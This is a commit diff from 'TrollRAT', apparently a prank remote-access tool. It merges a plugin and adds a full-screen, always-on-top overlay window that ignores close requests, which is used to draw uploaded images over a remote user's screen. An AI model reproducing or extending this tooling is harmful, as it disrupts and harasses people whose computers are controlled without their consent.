Overlay Window support & merge the 2 default plugins together

Roadmap.md

@@ -39,7 +39,7 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
 	- [ ] Show/Hide Windows
 	- [x] Crash single Program
 	- [x] Draw uploaded Images
-		- [ ] Draw to layered window
+		- [x] Draw to layered window
 		- [ ] VineMEMZ Drawing Effect
 	- [ ] Play uploaded Sounds
 	- [x] Text to Speech Output

TrollRAT.sln

@@ -9,8 +9,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TrollRATNative", "TrollRATN
 EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATPayloads", "TrollRATPayloads\TrollRATPayloads.csproj", "{B611BEBB-703F-4A88-A7F2-0605FD015292}"
 EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATActions", "TrollRATActions\TrollRATActions.csproj", "{9BF0213E-2757-4898-8C94-42F1E464C468}"
-EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crasher", "Crasher\Crasher.csproj", "{9AD2E477-397B-4642-9D2C-66196EA2CAA1}"
 EndProject
 Global
@@ -59,18 +57,6 @@ Global
 		{B611BEBB-703F-4A88-A7F2-0605FD015292}.Release|x64.Build.0 = Release|Any CPU
 		{B611BEBB-703F-4A88-A7F2-0605FD015292}.Release|x86.ActiveCfg = Release|Any CPU
 		{B611BEBB-703F-4A88-A7F2-0605FD015292}.Release|x86.Build.0 = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|Any CPU.Build.0 = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|x64.ActiveCfg = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|x64.Build.0 = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|x86.ActiveCfg = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Debug|x86.Build.0 = Debug|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|Any CPU.ActiveCfg = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|Any CPU.Build.0 = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x64.ActiveCfg = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x64.Build.0 = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.ActiveCfg = Release|Any CPU
-		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.Build.0 = Release|Any CPU
 		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
 		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.Build.0 = Debug|Any CPU
 		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x64.ActiveCfg = Debug|Any CPU

TrollRATActions/Properties/AssemblyInfo.cs

@@ -1,39 +0,0 @@
-using System.Resources;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// Allgemeine Informationen über eine Assembly werden über die folgenden 
-// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
-// die einer Assembly zugeordnet sind.
-[assembly: AssemblyTitle("TrollRAT Actions Plugin")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("")]
-[assembly: AssemblyCopyright("Copyright © Leurak 2016")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCulture("")]
-
-// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar 
-// für COM-Komponenten.  Wenn Sie auf einen Typ in dieser Assembly von 
-// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen.
-[assembly: ComVisible(false)]
-
-// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
-[assembly: Guid("9bf0213e-2757-4898-8c94-42f1e464c468")]
-
-// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
-//
-//      Hauptversion
-//      Nebenversion 
-//      Buildnummer
-//      Revision
-//
-// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern 
-// übernehmen, indem Sie "*" eingeben:
-// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
-[assembly: NeutralResourcesLanguage("en")]
-

TrollRATActions/TrollRATActions.csproj

@@ -1,68 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
-  <PropertyGroup>
-    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
-    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
-    <ProjectGuid>{9BF0213E-2757-4898-8C94-42F1E464C468}</ProjectGuid>
-    <OutputType>Library</OutputType>
-    <AppDesignerFolder>Properties</AppDesignerFolder>
-    <RootNamespace>TrollRATActions</RootNamespace>
-    <AssemblyName>TrollRATActions</AssemblyName>
-    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
-    <FileAlignment>512</FileAlignment>
-    <TargetFrameworkProfile />
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <DebugSymbols>true</DebugSymbols>
-    <DebugType>full</DebugType>
-    <Optimize>false</Optimize>
-    <OutputPath>..\Debug\Plugins\TrollRATActions\</OutputPath>
-    <DefineConstants>DEBUG;TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <PlatformTarget>x86</PlatformTarget>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
-    <DebugType>pdbonly</DebugType>
-    <Optimize>true</Optimize>
-    <OutputPath>..\Release\Plugins\TrollRATActions\</OutputPath>
-    <DefineConstants>TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <PlatformTarget>x86</PlatformTarget>
-  </PropertyGroup>
-  <ItemGroup>
-    <Reference Include="System" />
-    <Reference Include="System.ComponentModel.Composition" />
-    <Reference Include="System.Core" />
-    <Reference Include="System.Xml.Linq" />
-    <Reference Include="System.Data.DataSetExtensions" />
-    <Reference Include="System.Data" />
-    <Reference Include="System.Xml" />
-  </ItemGroup>
-  <ItemGroup>
-    <Compile Include="Properties\AssemblyInfo.cs" />
-    <Compile Include="TrollRATActionsPlugin.cs" />
-  </ItemGroup>
-  <ItemGroup>
-    <ProjectReference Include="..\TrollRAT\TrollRAT.csproj">
-      <Project>{646733a7-d07d-48d2-b064-edcadd6dee1f}</Project>
-      <Name>TrollRAT</Name>
-      <Private>False</Private>
-    </ProjectReference>
-  </ItemGroup>
-  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
-  <PropertyGroup>
-    <PostBuildEvent>set x="$(SolutionDir)\Output\Plugins\TrollRATActions\"
-mkdir %25x%25
-copy "$(TargetPath)" %25x%25</PostBuildEvent>
-  </PropertyGroup>
-  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
-       Other similar extension points exist, see Microsoft.Common.targets.
-  <Target Name="BeforeBuild">
-  </Target>
-  <Target Name="AfterBuild">
-  </Target>
-  -->
-</Project>

TrollRATNative/Overlay.h

@@ -0,0 +1,14 @@
+#pragma once
+
+#include <Windows.h>
+
+#define FUNCTION(r) extern "C" __declspec(dllexport) r __stdcall
+
+FUNCTION(void) initOverlay();
+FUNCTION(void) updateOverlay();
+FUNCTION(HDC) getOverlayDC();
+
+DWORD WINAPI overlayThread(LPVOID parameter);
+DWORD WINAPI overlayWindowThread(LPVOID parameter);
+
+LRESULT CALLBACK WindowProcNoClose(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);

TrollRATNative/TrollRATNative.vcxproj

@@ -167,12 +167,14 @@ copy "$(TargetPath)" %x%</Command>
   <ItemGroup>
     <ClCompile Include="errors.cpp" />
     <ClCompile Include="main.cpp" />
+    <ClCompile Include="overlay.cpp" />
     <ClCompile Include="payloads.cpp" />
     <ClCompile Include="utils.cpp" />
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="Errors.h" />
     <ClInclude Include="GDI.h" />
+    <ClInclude Include="Overlay.h" />
     <ClInclude Include="Payloads.h" />
     <ClInclude Include="Main.h" />
     <ClInclude Include="Utils.h" />

TrollRATNative/TrollRATNative.vcxproj.filters

@@ -27,6 +27,9 @@
     <ClCompile Include="errors.cpp">
       <Filter>Quelldateien</Filter>
     </ClCompile>
+    <ClCompile Include="overlay.cpp">
+      <Filter>Quelldateien</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="Payloads.h">
@@ -44,5 +47,8 @@
     <ClInclude Include="Errors.h">
       <Filter>Headerdateien</Filter>
     </ClInclude>
+    <ClInclude Include="Overlay.h">
+      <Filter>Headerdateien</Filter>
+    </ClInclude>
   </ItemGroup>
 </Project>

TrollRATNative/overlay.cpp

@@ -0,0 +1,94 @@
+#include "Overlay.h"
+
+LPCSTR windowClass = "overlayWnd";
+
+BOOL update = FALSE;
+
+HWND overlayWindow = NULL;
+HDC overlayDC = NULL;
+
+int w, h;
+
+DWORD WINAPI overlayThread(LPVOID parameter) {
+	WNDCLASSEX c;
+	c.cbSize = sizeof(WNDCLASSEX);
+	c.lpfnWndProc = WindowProcNoClose;
+	c.lpszClassName = windowClass;
+	c.style = 0;
+	c.cbClsExtra = 0;
+	c.cbWndExtra = 0;
+	c.hInstance = GetModuleHandle(NULL);
+	c.hIcon = 0;
+	c.hCursor = LoadCursor(NULL, IDC_ARROW);
+	c.hbrBackground = NULL;
+	c.lpszMenuName = NULL;
+	c.hIconSm = 0;
+
+	RegisterClassEx(&c);
+
+	w = GetSystemMetrics(SM_CXSCREEN);
+	h = GetSystemMetrics(SM_CYSCREEN);
+
+	overlayWindow = CreateWindowEx(WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT | WS_EX_TOOLWINDOW, windowClass, "",
+		WS_POPUP, 0, 0, w, h, NULL, NULL, GetModuleHandle(NULL), NULL);
+
+	CreateThread(NULL, 0, &overlayWindowThread, NULL, 0, NULL);
+
+	MSG msg;
+	while (GetMessage(&msg, NULL, 0, 0) > 0) {
+		TranslateMessage(&msg);
+		DispatchMessage(&msg);
+	}
+
+	return 0;
+}
+
+// GET NOCLOSED!
+LRESULT CALLBACK WindowProcNoClose(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
+	if (msg == WM_DESTROY || msg == WM_CLOSE) {
+		return 0;
+	}
+
+	return DefWindowProc(hwnd, msg, wParam, lParam);
+}
+
+FUNCTION(void) updateOverlay() {
+	update = TRUE;
+}
+
+FUNCTION(void) initOverlay() {
+	CreateThread(NULL, 0, &overlayThread, NULL, 0, NULL);
+}
+
+FUNCTION(HDC) getOverlayDC() {
+	return overlayDC;
+}
+
+DWORD WINAPI overlayWindowThread(LPVOID parameter) {
+	ShowWindow(overlayWindow, SW_SHOW);
+	HDC windowDC = GetDC(overlayWindow);
+
+	HDC screenDC = GetWindowDC(GetDesktopWindow());
+
+	overlayDC = CreateCompatibleDC(screenDC);
+	HBITMAP overlayBitmap = CreateCompatibleBitmap(screenDC, w, h);
+	SelectObject(overlayDC, overlayBitmap);
+
+	POINT zero = { 0, 0 };
+	SIZE size = { w, h };
+
+	BLENDFUNCTION bf;
+	bf.AlphaFormat = AC_SRC_OVER;
+	bf.BlendFlags = 0;
+	bf.SourceConstantAlpha = 255;
+	bf.AlphaFormat = AC_SRC_ALPHA;
+
+	for (;;) {
+		if (update) {
+			UpdateLayeredWindow(overlayWindow, screenDC, &zero, &size, overlayDC, &zero, NULL, &bf, ULW_ALPHA);
+			update = FALSE;
+		}
+
+		Sleep(1);
+	}
+}

TrollRATPayloads/Actions/CleanupActions.cs

@@ -1,24 +1,10 @@
 using System;
-using System.ComponentModel.Composition;
 using System.Runtime.InteropServices;
-
-using TrollRAT;
-using TrollRAT.Plugins;
 using TrollRAT.Payloads;
+using TrollRATPayloads.Utils;
 
-namespace TrollRATActions
+namespace TrollRATPayloads.Actions
 {
-    [Export(typeof(ITrollRATPlugin))]
-    public class TrollRATPayloadsPlugin : ITrollRATPlugin
-    {
-        public string Name => "TrollRAT Actions";
-
-        public void onLoad()
-        {
-            
-        }
-    }
-
     public class PayloadActionClearScreen : SimplePayloadAction
     {
         public PayloadActionClearScreen(Payload payload) : base(payload) { }
@@ -29,6 +15,10 @@ namespace TrollRATActions
         public override string execute()
         {
             RedrawWindow(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 133);
+
+            OverlayWindow.OverlayGrahpics.Clear(System.Drawing.Color.Transparent);
+            OverlayWindow.updateOverlay();
+
             return "void(0);";
         }
 
@@ -40,7 +30,7 @@ namespace TrollRATActions
     {
         public PayloadActionClearWindows(Payload payload) : base(payload) { }
 
-        [DllImport("..\\TrollRATPayloads\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
         static extern void clearWindows();
 
         public override string execute()
@@ -52,5 +42,4 @@ namespace TrollRATActions
         public override string Icon => null;
         public override string Title => "Close open Windows";
     }
-
 }

TrollRATPayloads/Payloads/MEMZPayloads.cs

@@ -4,7 +4,7 @@ using System.Runtime.InteropServices;
 using System.Windows.Forms;
 
 using TrollRAT.Payloads;
-using TrollRATActions;
+using TrollRATPayloads.Actions;
 
 namespace TrollRATPayloads.Payloads
 {

TrollRATPayloads/Payloads/NewPayloads.cs

@@ -6,7 +6,8 @@ using System.Speech.Synthesis;
 using System.Windows.Forms;
 using TrollRAT.Payloads;
 using TrollRAT.Server.Commands;
-using TrollRATActions;
+using TrollRATPayloads.Actions;
+using TrollRATPayloads.Utils;
 
 namespace TrollRATPayloads.Payloads
 {
@@ -196,13 +197,17 @@ namespace TrollRATPayloads.Payloads
         private PayloadSettingNumber scaleFactor = new PayloadSettingNumber(100, "Scale Factor (in %)", 1, 100, 1);
         private PayloadSettingSelectFile fileName = new PayloadSettingSelectFile(
             0, "Uploaded File Name", UploadCommand.uploadDir);
+        private PayloadSettingSelect mode = new PayloadSettingSelect(0, "Mode",
+            new string[] { "Draw Image to Screen directly", "Overlay Image on Screen" });
 
         private Random rng = new Random();
 
         private Bitmap image;
-        private Graphics screen = Graphics.FromHwnd(IntPtr.Zero);
+        private Graphics drawingArea;
 
-        public void imageChanged<t>(object sender, t selectedFile)
+        internal void imageChanged<t>(object sender, t selectedFile)
+        {
+            try
             {
                 if (image != null)
                 {
@@ -210,8 +215,6 @@ namespace TrollRATPayloads.Payloads
                     image = null;
                 }
 
-            try
-            {
                 using (Bitmap newImage = new Bitmap(fileName.selectedFilePath))
                 {
                     image = new Bitmap(newImage, new Size((int)(newImage.Width * (scaleFactor.Value / 100)),
@@ -220,27 +223,60 @@ namespace TrollRATPayloads.Payloads
             } catch (Exception) { }
         }
 
+        internal void modeChanged(object sender, int value)
+        {
+            switch (value)
+            {
+                case 0:
+                    drawingArea = OverlayWindow.ScreenGraphics;
+                    break;
+                case 1:
+                    drawingArea = OverlayWindow.OverlayGrahpics;
+                    break;
+            }
+        }
+
         public PayloadDrawImages() : base(10)
         {
             settings.Add(fileName);
             settings.Add(scaleFactor);
+            settings.Add(mode);
+
+            actions.Add(new PayloadActionClearScreen(this));
 
             imageChanged(null, 0);
+            modeChanged(null, 0);
 
             scaleFactor.SettingChanged += new PayloadSettingNumber.PayloadSettingChangeEvent(imageChanged);
             fileName.SettingChanged += new PayloadSettingSelectFile.PayloadSettingChangeEvent(imageChanged);
+            mode.SettingChanged += new PayloadSettingSelect.PayloadSettingChangeEvent(modeChanged);
 
             name = "Draw Uploaded Images";
         }
 
         protected override void execute()
         {
-            if (image != null)
+            if (image != null && drawingArea != null)
             {
+                switch (mode.Value)
+                {
+                    case 0:
+                    case 1:
                         int x = rng.Next(0, Screen.PrimaryScreen.Bounds.Width - image.Width);
                         int y = rng.Next(0, Screen.PrimaryScreen.Bounds.Height - image.Height);
 
-                screen.DrawImageUnscaled(image, x, y);
+                        try
+                        {
+                            drawingArea.DrawImageUnscaled(image, x, y);
+                        }
+                        catch (Exception) { }
+                        
+
+                        break;
+                }
+
+                if (mode.Value > 0)
+                    OverlayWindow.updateOverlay();
             }
         }
     }

TrollRATPayloads/TrollRATPayloads.csproj

@@ -45,6 +45,8 @@
     <Reference Include="System.Xml" />
   </ItemGroup>
   <ItemGroup>
+    <Compile Include="Actions\CleanupActions.cs" />
+    <Compile Include="Utils\OverlayWindow.cs" />
     <Compile Include="Payloads\CrasherPayload.cs" />
     <Compile Include="Payloads\MEMZPayloads.cs" />
     <Compile Include="Payloads\NewPayloads.cs" />
@@ -53,11 +55,6 @@
     <Compile Include="Properties\AssemblyInfo.cs" />
   </ItemGroup>
   <ItemGroup>
-    <ProjectReference Include="..\TrollRATActions\TrollRATActions.csproj">
-      <Project>{9bf0213e-2757-4898-8c94-42f1e464c468}</Project>
-      <Name>TrollRATActions</Name>
-      <Private>False</Private>
-    </ProjectReference>
     <ProjectReference Include="..\TrollRAT\TrollRAT.csproj">
       <Project>{646733a7-d07d-48d2-b064-edcadd6dee1f}</Project>
       <Name>TrollRAT</Name>

TrollRATPayloads/Utils/OverlayWindow.cs

@@ -0,0 +1,35 @@
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Threading;
+
+namespace TrollRATPayloads.Utils
+{
+    public static class OverlayWindow
+    {
+        [DllImport("TrollRATNative.dll")]
+        public static extern IntPtr getOverlayDC();
+
+        [DllImport("TrollRATNative.dll")]
+        public static extern void updateOverlay();
+
+        [DllImport("TrollRATNative.dll")]
+        public static extern void initOverlay();
+
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetDesktopWindow();
+
+        public static readonly Graphics OverlayGrahpics;
+        public static readonly Graphics ScreenGraphics = Graphics.FromHwndInternal(GetDesktopWindow());
+
+        static OverlayWindow()
+        {
+            initOverlay();
+
+            while (getOverlayDC() == IntPtr.Zero) { }
+            Thread.Sleep(1000); // idk why I have to do this
+
+            OverlayGrahpics = Graphics.FromHdc(getOverlayDC());
+        }
+    }
+}